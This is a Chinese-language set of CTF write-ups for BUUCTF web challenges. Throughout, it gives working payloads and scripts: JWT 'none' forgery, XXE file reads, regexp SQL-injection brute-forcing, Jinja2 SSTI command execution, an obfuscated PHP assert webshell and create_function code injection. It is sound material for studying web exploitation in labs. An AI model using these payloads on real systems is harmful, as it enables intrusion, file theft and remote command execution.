首先用户名不能为空且不能为admin用户,然后secrets.length > 100000就置为空,可知当注册用户达到100000时就会清空原有密钥信息,下来的就是注册信息合法开始调用jwt.sign()进行JWT的生成,然后返回给用户,其中的密钥是随机生成的crypto.randomBytes(18).toString('hex')并与用户注册的sid进行绑定const secretid = global.secrets.length;,密钥的存储是在一个数组中,每当新增一个用户都会随机产生一个密钥进行存储。

登录部分代码逻辑:

首先用户名和密码不能为空,然后使用JSON.parse()对post的authorization字段进行提取sid,这个sid就是用户身份的唯一标志,依据逻辑if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))可知sid不能为空并且sid需要大于等于0、小于密钥数组的实际长度,也就是说登录的用户在服务端需要能查出来,通过验证之后,下来由用户sid对global.secrets进行取值,也就是取得相应用户的密钥,然后进行用户验证,返回相应状态:验证成功的用户status=true否则为false

简单来说,其代码逻辑可以看作数据库操作,通过用户标志查询数据库是否存在该用户记录,然后进行用户验证。

Getflag部分代码逻辑:其实就是验证登录用户是否为admin用户,普通用户会提示权限不足throw new APIError('permission error', 'permission denied');

Link: https://qftm.github.io/2020/04/19/bypass-nodejs-jwt/#toc-heading-7

抓取登录数据包

image-20240308202610929

jwt解密

image-20240308202727764

知识点:由于Node的jsonwebtoken库存在一个缺陷,当用户传入jwt secretid为空时 jsonwebtoken会采用algorithm none进行解密,即便在登录验证代码部分const user = jwt.verify(token, secret, {algorithm: 'HS256'});后面的算法指名为 HS256,验证也还是按照 none 来验证通过的。

通过传入不存在的secretid,导致algorithm为none,由于algorithm=none所以在构造JWT时就不需要提供密钥,然后就可以通过伪造jwt来成为admin。

但是,我们可以看到实际的Node.js代码中做了限制,当sid不满足if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))条件时就会错误APIError('login error', 'no such secret id');,所以要想构造管理员权限的JWT,就要绕过这个sid限制。

分析sid限制绕过:

根据if条件可知,sid === undefined || sid === null这部分逻辑很容易绕过,主要是!(sid < global.secrets.length && sid >= 0)这部分。要绕过这部分,既要构造sid不存在又要满足0-global.secrets.length这个范围,所以这里可以利用Node.js的弱类型特性来绕过限制,比如十六进制字符串进行绕过:"0x0"(或者使用小数绕过0.11等)

伪造jwt

1
2
3
4
5
6
import base64

a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1709900631}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.

image-20240308203217172

放包,访问/api/flag得到flag

image-20240308203416784

[NCTF2019]True XML cookbook

xxe漏洞

随便输入数据抓个包

image-20240312171620490

抓到xml数据

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

palload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>1</password></user>

image-20240312172425476

php伪协议看看doLogin.php的源码

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/doLogin.php">
]>
<user><username>&admin;</username><password>1</password></user>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
/**

* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin';
$PASSWORD = '024b87931a03f738fff6693ce0a78c88';
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}

}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

账号密码可以登录,但没什么用

读取一个/proc/net/arp文件

image-20240312172734262访问/proc/net/arp文件时查看有无可利用内网主机等,然后通过爆破主机地址进行访问

用xxe内网探测存活的主机
两个ip都读取了
但是都显示504,正常应该报错然后再爆破最后一位
找了半天,说是由于buuctf转用了K8S管理,他的靶机容器是随机在80,81两个网段里的,具体情况看/proc/net/fib_trie
image-20240312172839208

image-20240312173003136

image-20240312173032756

[NCTF2019]SQLi

img

fuzz测试中大部分字符被过滤

用dirsearch扫描,发现robots.txt

image-20240315193347004

hint.txt

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

regexp注入(正则注入)

1
select * from users where username='' and passwd=''

单引号被禁用,使用 \ 转义and前面的那个单引号,使得 ‘’ and passwd=’ 形成闭合

1
username=\&passwd=||sql;%00

因为题目过滤掉了空格,空格能用内联注释符/**/代替

注释符#和– 被过滤掉了,这里用;%00截断注释后面的内容

不能在输入框直接提交,会被url encode 变为%2500被黑名单拦截

1
select * from users where username='\' and passwd='||sql;%00'

1
select * from users where sql;%00

利用正则进行注入

1
username=\&passwd=||/**/passwd/**/regexp/**/"^x";%00
1
select * from users where /**/passwd/**/regexp/**/"^x";%00

匹配正确的话会返回alert()

用python脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#buuctf web [NCTF2019]SQLi
import requests
import string


url = "http://2e2494c3-b85d-49f4-81b8-63ee389a9c30.node4.buuoj.cn:81/"
pw_fuzz = string.ascii_lowercase + string.digits + "_" #密码字典:小写字母和数字还有下划线
pw = "" #admin的密码

while True:
for i in pw_fuzz:
data={
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format((pw+i))
}
res = requests.post(url=url,data=data).text
if "alert" not in res:
pw = pw + i
print(pw)
1
you_will_never_know7788990

用admin登录获取flag

[RootersCTF2019]I_<3_Flask

可见flask,盲猜ssti

image-20240317194543381

用Arjun跑一下发现参数nameimage-20240317194648467

通过下图判断为Jinja2模板

dfu

法1:可以使用tplmap工具直接得到getshell权限

法2:

1
2
/?name={{lipsum.__globals__['os'].popen('ls').read()}}
/?name={{lipsum.__globals__['os'].popen('cat flag.txt').read()}}

法3:

1
2
/?name={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
/?name={{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}

[WUSTCTF2020]颜值成绩查询

布尔盲注

image-20240322221805225

输入1有回显 Hi admin, your score is: 100

最多到4

测试发现空格被过滤

1
2
1/**/and/**/1     #Hi admin, your score is: 100
1/**/and/**/0 #student number not exists.

发现回显可以利用

用二分脚本注入,注意加sleep()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time

if __name__ == '__main__' :
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="ctf"),{i},1))>{mid},1,0)%23'
# payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),{i},1))>{mid},1,0)%23'
payload = f'1/**/and/**/if(ascii(substr((select/**/group_concat(value)/**/from/**/ctf.flag),{i},1))>{mid},1,0)%23'
# print(payload)
url = f"http://14923311-8407-4f70-8f44-eb198e94d0b7.node5.buuoj.cn:81/?stunum={payload}"

r = requests.get(url=url)
if 'admin' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

[CSCCTF 2019 Qual]FlaskLight

image-20240324213651066

发现源码中有提示

1
2
<!-- Parameter Name: search -->
<!-- Method: GET -->
1
?search={{7*7}} *#通过回显判断SSTI*

尝试ssti注入,经过测试判断为jinja2

1
2
?search={{''.__class__.__mro__[2].__subclasses__()}}
#爆出所有类

脚本查找可利用的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
import html
import time

index = 0
for i in range(170, 1000):
try:
url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
# print(res)
# print(r.text)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

1
2
3
4
5
6
7
payload:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[GYCTF2020]EasyThinking

测试发现网页框架thinkphp v6.0.0

主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法。

使用dirsearch扫出来www.zip

下载下来看源码目录

img

在web/home/controller有一个Member.php,得到网页源码:

1
2
<?php
?>

image-20240407203813258

访问shell路径

1
/runtime/session/sess_1234567890123456789012345678.php

image-20240407203629107

有disable_function限制

image-20240407204037366

disable_function绕过exp

image-20240407204718527

猜测执行readflag得到flag

连接蚁剑,找个能上传文件的地方,上传exp,上传到/var/tmp/目录当中

image-20240407204854466

include包含

image-20240407205302721

法二:

利用蚁剑disabled_functions插件获取flag

[BJDCTF2020]EzPHP

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

1.$_SERVER[‘QUERY_STRING’]绕过

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

几乎ban掉了所有可能使用的词

$_SERVER[‘QUERY_STRING’]函数不对传入的东西进行url编码,所以把payload进行url编码之后传入即可绕过

解决办法https://blog.csdn.net/qq_41814777/article/details/102058889)

小葵转换工具

2.preg_match绕过

1
2
3
4
5
6
7
8
9
10
if (!preg_match('/http|https/i', $_GET['file']))
//不能包含http|https
{
if (preg_match('/^aqua_is_cute$/', $_GET['debu'])&& $_GET['debu'] !== 'aqua_is_cute')
//需要在debu=xxx中匹配到‘/^&/’,且debu不能为‘aqua_is_cute’
{
$file = $_GET["file"]; //用file=xxx传值
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

‘/^$/‘是正则匹配,^表示以xxx开头,$表示以xxx结尾,现在需要绕过preg_match,所以在dedu=aqua_is_cute末尾加上换行(也就是加上%0a)

3.$_REQUEST绕过

1
2
3
4
5
6
7
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
//要求不能有字母
die('fxck you! I hate English!');
}
}
1
$_POST优先级高于$_GET,所以用POST传入的值会把$_GET中的值覆盖掉

1和2中可知,需要用file和debu传值,所以此处用POST传入file=xxx&debu=xxx可以绕过(xxx可以是任何不为0的数)

4.file_get_contents绕过

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

此处用data伪协议即可绕过(data://text/plain,~)

5.sha1函数、比较类型数组绕过

1
2
3
4
5
6
7
8
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )
//既要shana和passwd传入的值不相同,又要这两个传入的值经过sha1散列之后强相等
{
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1函数对数组不敏感,所以用shana[]=1&passwd[]=2绕过

payload:

1
file=data://text/plain,debu_debu_aque&debu=aque_is_cute%0a&shana[]=1&passwd[]=2

url编码之后:

1
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

同时POST传入file=1&debu=1

6.create_function运用

1
2
3
4
5
6
7
8
9
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )
//ban了这么这么多,肯定不能用一般方法传入payload了
{
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";//包含了flag.php这个文件
$code('', $arg);
} ?>

extract($_GET["flag"]);知code和arg是可更改变量

extract函数会注册变量,可以用来覆盖$code或$arg。

使用数组键名作为变量名,使用数组键值作为变量值,针对数组中的每个元素,将在当前符号表中创建对应的一个变量,所以这里我们可以传数组,即flag[code]flag[arg]的形式

利用create_function,对于

1
$aaa = create_function('$a, $b', 'return $a+$b;');

相当于

1
2
3
function aaa($a, $b){
return $a+$b;
}

对于

1
$code=return $a+$b;}fction();//

相当于

1
2
3
4
function aaa($a, $b){
return $a+$b;
}
fction();//}(fction为某个任意函数,"//"可以注释掉后面的内容)

应用到本题,可以得到

1
flag[code]=create_function&flag[arg]=}fction();//

利用get_defined_vars()将所有变量和值都进行输出

1
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

payload

1
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}%76%61%72%5f%64%75%6d%70(%67%65%74%5f%64%65%66%69%6e%65%64%5f%76%61%72%73());//

image-20240408214807275

提示了flag在rea1fl4g.php里,所以考虑用require函数,php//filter读取文件

1
2
3
4
5
6
7
8
9
10
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)
url编码之后

require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)

利用异或或者~进行取反操作

require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

替换上一步中的var_dump(get_defined_vars())

payload:

1
2
file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0A&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))
;//

image-20240408215101937

进行base64解码,得到flag

[SUCTF 2018]GetShell

1
2
3
4
5
6
7
8
if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
$data=substr($contents,5);
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("illegal char");
}
}
}

检查文件内容(内容前五位不检查),内容中有匹配到黑名单的输出illegal char

文件上传成功后会修改文件后缀为php,那么就需要构造一个webshell成功上传即可

首先需要fuzz,弄清楚黑名单没有哪些字符,再通过这些字符构造webshell

可以通过的字符有:$().;=[]_~,然后就是汉字了

https://blog.csdn.net/mochu7777777/article/details/104631142,使用取反汉字绕过

构造一个assert($_POST[_])

索引1不能再以数字形式直接表示,会被过滤的,在PHP中,两个空数组进行比较会得到true,而true==1

1
2
3
<?php 
$__ = [];
$_ = ($__ == $__);//$_ = 1

测试汉字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
//Author: m0c1nu7
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {

if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}

$s = '你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪?岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪?花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋?长相思泪相随曾经谁是谁的谁?孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆;曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].' ------- '.~$arr_str[$i][1].'<br>';
}

?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
$__ = [];
$_ = ($__ == $__);//$_ = 1

$__ = ~(融);
$___ = $__[$_];//a
$__ = ~(匆);
$___ .= $__[$_].$__[$_];//ass
$__ = ~(随);
$___ .= $__[$_];//asse
$__ = ~(千);
$___ .= $__[$_];//asser
$__ = ~(苦);
$___ .= $__[$_];//assert

$____ = ~(~(_));//_
$__ = ~(诗);
$____ .= $__[$_];//_P
$__ = ~(尘);
$____ .= $__[$_];//_PO
$__ = ~(欣);
$____ .= $__[$_];//_POS
$__ = ~(站);
$____ .= $__[$_];//_POST

$_=$$____;//$_POST
$___($_[_]);//assert($_POST[_])

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//shell.txt
<?php
$__=[];
$_=($__==$__);
$__=~(融);
$___=$__[$_];
$__=~(匆);
$___.=$__[$_].$__[$_];
$__=~(随);
$___.=$__[$_];
$__=~(千);
$___.=$__[$_];
$__=~(苦);
$___.=$__[$_];
$____=~(~(_));
$__=~(诗);
$____.=$__[$_];
$__=~(尘);
$____.=$__[$_];
$__=~(欣);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);

上传成功进行rce

image-20240421220049082

image-20240421220132989

[WMCTF2020]Make PHP Great Again

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}

require_once(),这个函数的特点是只包含一次,因为刚才是已经require_once 'flag.php'了,不能再次包含。所以需要绕过require_once(),让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件。

require_once()在对软链接的操作上存在一些缺陷,软连接层数较多会使hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下:

1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

[GKCTF 2021]easycms

提示5位弱密码

/admin.php 使用admin和12345登录后台

发现主题可以上传,需要创建如下文件

image-20210829200802221

在设计-组件-素材库里可以上传txt文件然后重命名

image-20240507203150671

直接在高级里更改,加个马

image-20240507203423468

蚁剑连接

[GXYCTF2019]StrongestMind

image-20240508214611419

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
import re

url = 'http://f9a52959-cb54-4ea7-b20c-864efeff6d09.node5.buuoj.cn:81//'
session = requests.session()
res = session.get(url)
res = res.text
print(res)

for i in range(1010):
try:
result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",res)#获取[数字]
result = "".join(result)#提取字符串
result = eval(result)#运算
print("time: "+ str(i) +" "+"result: "+ str(result))

data = {"answer":result}
res = session.post(url,data=data).text
if "flag{" in res:
print(re.search("flag{.*}", res).group(0)[:50])
break
time.sleep(0.1)#防止访问太快断开连接
except:
print('-')

[MRCTF2020]Ezaudit

www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
// $Public_key = public_key();
// $Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

只有当username,password和private_key全部正确时,才会获取flag。
对于username和password,由于是sql查询,可以万能密码进行绕过,剩下的问题是获取private_key。

发现mt_rand(),想到mt_rand()伪随机数

告诉了我们$Public_key = KVQP0LdJKRaV3n9D,通过php_mt_seed工具来获取种子值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result =''

length = str(len(str2)-1)
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str1[i] == str2[j]:
result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break

print(result)

#36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

image-20240510221445298

得到种子值就能得到$private_key=XuNhoueCDCGc(注意php版本不同,得到的随机数不同)

image-20240510221623567

成功登录得到flag

[CSAWQual 2019]Web_Unagi

image-20240603211522641

提示上传xml,flag在根目录

xxe漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>gg</username>
<password>passwd1</password>
<name>ggg</name>
<email>alice@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>

提示waf,要绕过

1
2
3
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、21433412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
1
cat 1.xml | iconv -f UTF-8 -t UTF-16BE > x16.xml

转为16进制上传

